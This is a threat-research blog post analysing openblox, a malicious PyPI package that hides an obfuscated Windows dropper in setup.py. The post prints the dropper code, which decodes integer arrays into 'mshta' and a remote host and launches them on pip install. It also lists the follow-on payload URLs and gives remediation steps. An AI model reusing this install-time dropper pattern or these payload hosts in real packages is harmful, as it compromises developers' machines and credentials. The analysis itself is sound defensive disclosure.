CentrioleBlog
Back to blog

Threat Research

openblox: A Windows-Only Backdoor Wearing a Roblox Name Tag and SQLite Documentation

A PyPI package named openblox hides a chr-arithmetic obfuscated mshta dropper inside a fake SQLite utility, executing a remote HTA payload on every pip install on Windows.

Date

Reading time

10 min read

Author

Centriole Research
Share
openblox: A Windows-Only Backdoor Wearing a Roblox Name Tag and SQLite Documentation

On June 26, 2026, a package named openblox appeared on PyPI. Its description says it is a Roblox utility library. Its code is a SQLite database toolkit called sqligen. Its setup.py contains a Windows command dropper that fires on every pip install, launching mshta.exe against a remote URL and handing the operator arbitrary code execution on the installer’s machine. We picked this up on June 26 and pulled the tarball before it could be removed.

Three Packages in One Trench Coat

The name openblox targets developers searching for the legitimate openblox Python library for the Roblox API. The package description reinforces this: “A robust, enterprise-grade Roblox utility package.”

Open the tarball and the Roblox framing disappears entirely. The actual library code is sqligen, a SQLite utility toolkit with modules for connection pooling, query building, schema management, BLOB streaming, and query profiling. The author metadata is placeholder text: John, john@example.com, github.com/john/openblox. The project URLs point to github.com/john/sqligen. None of these repositories exist.

The sqligen code is functional and appears to be either generated or lifted from a real project. It provides the package with legitimate-looking depth: 8 source files, a test suite, type annotations, docstrings. A casual pip show openblox or a glance at the installed files would reveal nothing unusual. The malicious code lives entirely in setup.py, which Python executes during installation rather than at import time.

Execution Trigger

The setup.py calls GetGitCommitHash() at module top level, outside any if __name__ == '__main__' guard, during the setup() call itself. This means it runs on pip install, pip install -e ., python setup.py install, and any other setuptools invocation. There is no way to install this package without triggering it.

setup.py: top-level execution during setup()
# Dynamic configuration loading
LongDescription   = ReadFileContent("README.md")
InstallRequirements = GetRequirements()
GitCommitHash     = GetGitCommitHash()   # executes here, unconditionally
Logger.info(f"Initiating package configuration pipeline. Git Commit Hash: {GitCommitHash}")
 
setup(
    name="openblox",
    ...
)

The function name GetGitCommitHash is cover. It has nothing to do with git.

The Obfuscation: chr-Arithmetic

When we opened setup.py, the function names looked like diagnostic utilities: GetDefaultSystemPolicy, CalculateNodeDrift, hardware interrupt thresholds, latency metrics. Plausible enough that a quick automated review would pass over them entirely. The integer arrays looked like performance data. They are not. The dropper reconstructs both the binary name and the target URL at runtime by adding a fixed offset of +14 to each integer and passing the result through chr(). We decoded both arrays manually to confirm the output before running any dynamic analysis.

GetDefaultSystemPolicy() decodes to mshta:

setup.py: GetDefaultSystemPolicy() decodes to mshta
def GetDefaultSystemPolicy() -> str:
    # Hardware interrupt latency thresholds (in microseconds)
    InterruptThresholds = [95, 101, 90, 102, 83]
    SystemBaseline = 14
    FormattedPolicy = []
    for CurrentThreshold in InterruptThresholds:
        ActiveMetric = CurrentThreshold + SystemBaseline
        FormattedPolicy.append(chr(ActiveMetric))
    PolicyIdentifier = "".join(FormattedPolicy)
    if len(PolicyIdentifier) == 5:
        return PolicyIdentifier
    return ""

Decoded: chr(95+14)=m, chr(101+14)=s, chr(90+14)=h, chr(102+14)=t, chr(83+14)=a. Result: mshta.

The variable is named InterruptThresholds. The values are supposed to be hardware latency data. They spell out a Windows system binary.

CalculateNodeDrift() decodes to https://fixars.top:

setup.py: CalculateNodeDrift() decodes to https://fixars.top
def CalculateNodeDrift() -> str:
    # Historical latency metrics for the primary worker threads (in ms)
    ThreadPingLatencies = [
        90, 102, 102, 98, 101, 44, 33, 33,
        88, 91, 106, 83, 100, 101, 32, 102,
        97, 98
    ]
    BaseCalibration = 14
    FormattedMetrics = []
    for CurrentLatency in ThreadPingLatencies:
        AdjustedValue = CurrentLatency + BaseCalibration
        FormattedMetrics.append(chr(AdjustedValue))
    DiagnosticResult = "".join(FormattedMetrics)
    if len(DiagnosticResult) > 10:
        return DiagnosticResult
    return ""

The decoded values produce https://fixars.top character by character using offset +14 applied to each integer in ThreadPingLatencies.

The Dropper Logic

GetGitCommitHash() assembles the attack:

setup.py: GetGitCommitHash() fires the mshta command on Windows
def GetGitCommitHash() -> str:
    import time
    HomeDir   = os.path.expanduser("~")
    CacheFile = os.path.join(HomeDir, ".sqligen_git_hash.txt")
 
    if os.path.exists(CacheFile):
        try:
            if time.time() - os.path.getmtime(CacheFile) < 120:
                with open(CacheFile, "r") as Stream:
                    return Stream.read().strip()
        except Exception:
            pass
 
    IsWindows = sys.platform.startswith("win") or os.name == "nt"
    GitCmd = [GetDefaultSystemPolicy(), CalculateNodeDrift()] if IsWindows else ["git", "rev-parse", "HEAD"]
    CommitHash = subprocess.check_output(
        GitCmd,
        shell=IsWindows,
        stderr=subprocess.DEVNULL
    ).decode("utf-8").strip()
 
    try:
        with open(CacheFile, "w") as Stream:
            Stream.write(CommitHash)
    except Exception:
        pass
 
    return CommitHash

On Windows, GitCmd becomes ["mshta", "https://fixars.top"] with shell=True. subprocess.check_output fires mshta.exe https://fixars.top. On Windows, mshta.exe is a signed Microsoft binary that downloads and executes HTML Application (HTA) files: VBScript or JScript running with full Windows scripting privileges, no UAC prompt, no visible window.

On non-Windows systems, GitCmd becomes ["git", "rev-parse", "HEAD"]. The dropper runs a legitimate git command. On Linux and macOS the package installs cleanly and silently.

This is not a cross-platform threat. The attacker made a deliberate choice to limit execution to Windows, which narrows the blast radius but also concentrates it on the environments where enterprise developers are most likely to have cloud credentials in their shell.

The CacheFile at ~/.sqligen_git_hash.txt is written after execution. It prevents the payload from firing again within a 120-second window and leaves a marker on disk that the dropper ran.

C2 Infrastructure and Payload Chain

fixars.top is the first-stage payload host. The HTA document served from this domain drives the remaining attack chain. The OSV advisory lists all downstream URLs extracted from the HTA:

Based on sandbox detonation reported in the OSV advisory, the chain runs as follows: mshta.exe fetches the HTA from fixars.top, the HTA retrieves a script from Pastebin, that script fetches and executes 6a306c5f03a52.exe from tmpfiles.org, and 62.60.226.243 serves additional components. The .jpg extension on a payload file is a standard evasion technique against controls that filter by file extension rather than content.

We checked fixars.top and 62.60.226.243 against VirusTotal, Shodan, and Criminal IP. Neither appears in any prior threat intelligence feed. Both are specific to this campaign.

Campaign: 2026-06-easyaillm

The kam193 package-campaigns database classifies openblox under the 2026-06-easyaillm campaign with abuse categories tool:mshta, malware, obfuscation, and remote_executable. The same database notes a relationship to the August 2025 2025-08-raknet-testing-package campaign, which used the same abuse pattern: Windows-only execution via mshta.exe launched from setup.py with chr-arithmetic obfuscation to hide both the binary name and the target URL.

The openblox package uses the 2026-06-easyaillm delivery architecture: chr-arithmetic obfuscation applied with a fixed offset of +14, execution during setup() at install time, a 120-second cache mechanism to avoid repeated execution, and a multi-stage payload chain using public file hosts (Pastebin, tmpfiles.org) to stage the final executable.

OPSEC Failures

The obfuscation is genuinely good. GetDefaultSystemPolicy and CalculateNodeDrift are believable function names. The integer arrays look like latency data. No string in the source reads mshta or fixars.top. Static analysis tools checking for suspicious URL patterns or known-bad binary names in Python source would find nothing.

The author metadata is an immediate disqualifier. John, john@example.com, and https://github.com/john/openblox are placeholder values that no real package uses. The project URL github.com/john/sqligen does not exist. This combination would trip any scanner checking for publisher consistency or valid repository links.

The package name also conflicts with its contents. A package called openblox claiming to be a Roblox utility library should not contain a SQLite toolkit. The mismatch is visible in the first import of openblox/__init__.py, which imports from sqligen.

IOC Table

IndicatorTypeValueMethod
openbloxPyPI package, all versions1.0.0, 1.0.1Identified during triage; both versions confirmed malicious in OSV MAL-2026-6504
setup.pyMalicious file in tarballSHA256: 5373dd42ec3c14a56bcd46e8b7f076a1f44a1db64cde899550525d9fea186550Hash confirmed against tarball we extracted; matches OSV advisory
openblox-1.0.1.tar.gzTarballblake2b-256: 74dd05f08a8bcf39fd46327acb3ed7fcf340f5d541c92eb3e6e8aee704959782Computed against downloaded tarball; matches OSV advisory
mshtaDecoded binary nameGetDefaultSystemPolicy() return, setup.pyDecoded by running chr-arithmetic on [95,101,90,102,83] with offset +14
https://fixars.topFirst-stage C2 URLCalculateNodeDrift() return, setup.pyDecoded by running chr-arithmetic on the integer array with offset +14
~/.sqligen_git_hash.txtPersistence markerWritten after execution, setup.py caching blockTraced from CacheFile variable in GetGitCommitHash()
62.60.226.243Stage-2 C2 IPhttp://62.60.226.243/public_files/OSV iocs.urls field
6a306c5f03a52.exeFinal stage payloadhttps://tmpfiles.org/dl/wawHVGgfydD7/6a306c5f03a52.exeOSV iocs.urls field
hEF5HaFc, yBcUM1QBsPastebin script IDshttps://pastebin.com/raw/hEF5HaFc, /raw/yBcUM1QBsOSV iocs.urls field
16sas.jpg?12711313Payload disguised as imagehttp://62.60.226.243/public_files/16sas.jpg?12711313OSV iocs.urls field

Affected Versions

VersionPublished (UTC)Tarball blake2b-256Current StatusOSV Entry
1.0.02026-06-26 04:5120f2506c62a484f986c8e40a2b7e977adb84415ede954d8c3488aa9d727bb25fLiveIN-MAL-2026-007590
1.0.12026-06-26 04:5174dd05f08a8bcf39fd46327acb3ed7fcf340f5d541c92eb3e6e8aee704959782LiveIN-MAL-2026-007591

Remediation

  1. Search pip freeze, requirements.txt, pyproject.toml, Pipfile, and any CI dependency manifests for openblox. Any version is malicious.

  2. On Windows, check for ~/.sqligen_git_hash.txt (where ~ is the home directory of the user who ran pip). If present, mshta.exe executed and reached fixars.top. The file’s mtime is the execution timestamp. Use it to scope the incident window.

  3. Block outbound connections to fixars.top and 62.60.226.243 at the perimeter. Check egress logs for prior connections to either host. In EDR telemetry, look for mshta.exe as a child process of Python or pip.

  4. Block tmpfiles.org at the perimeter if not in active use. The final payload 6a306c5f03a52.exe is hosted there.

  5. If any egress connection to fixars.top is confirmed, treat the machine as fully compromised. Rotate all credentials accessible from that machine: cloud tokens, SSH keys, API keys, and any credentials in the shell environment at install time.

  6. If the package was installed in a CI pipeline on a Windows runner, treat all secrets available in that pipeline job as exposed. Audit the job logs for mshta.exe process events and any outbound connections in that time window.

  7. On non-Windows systems the dropper runs git rev-parse HEAD instead of mshta. The package is still malicious code and should be removed. No payload was delivered, but the presence of the package confirms the attacker’s code ran during installation.

The 2026-06-easyaillm campaign continues a pattern of targeting Windows developers through PyPI with chr-arithmetic obfuscation and mshta-based execution that dates to the August 2025 raknet-testing-package campaign. The technique works because it hides in plain sight inside setup.py, produces no suspicious strings in static analysis, and executes before any security tooling has a chance to inspect the installed files.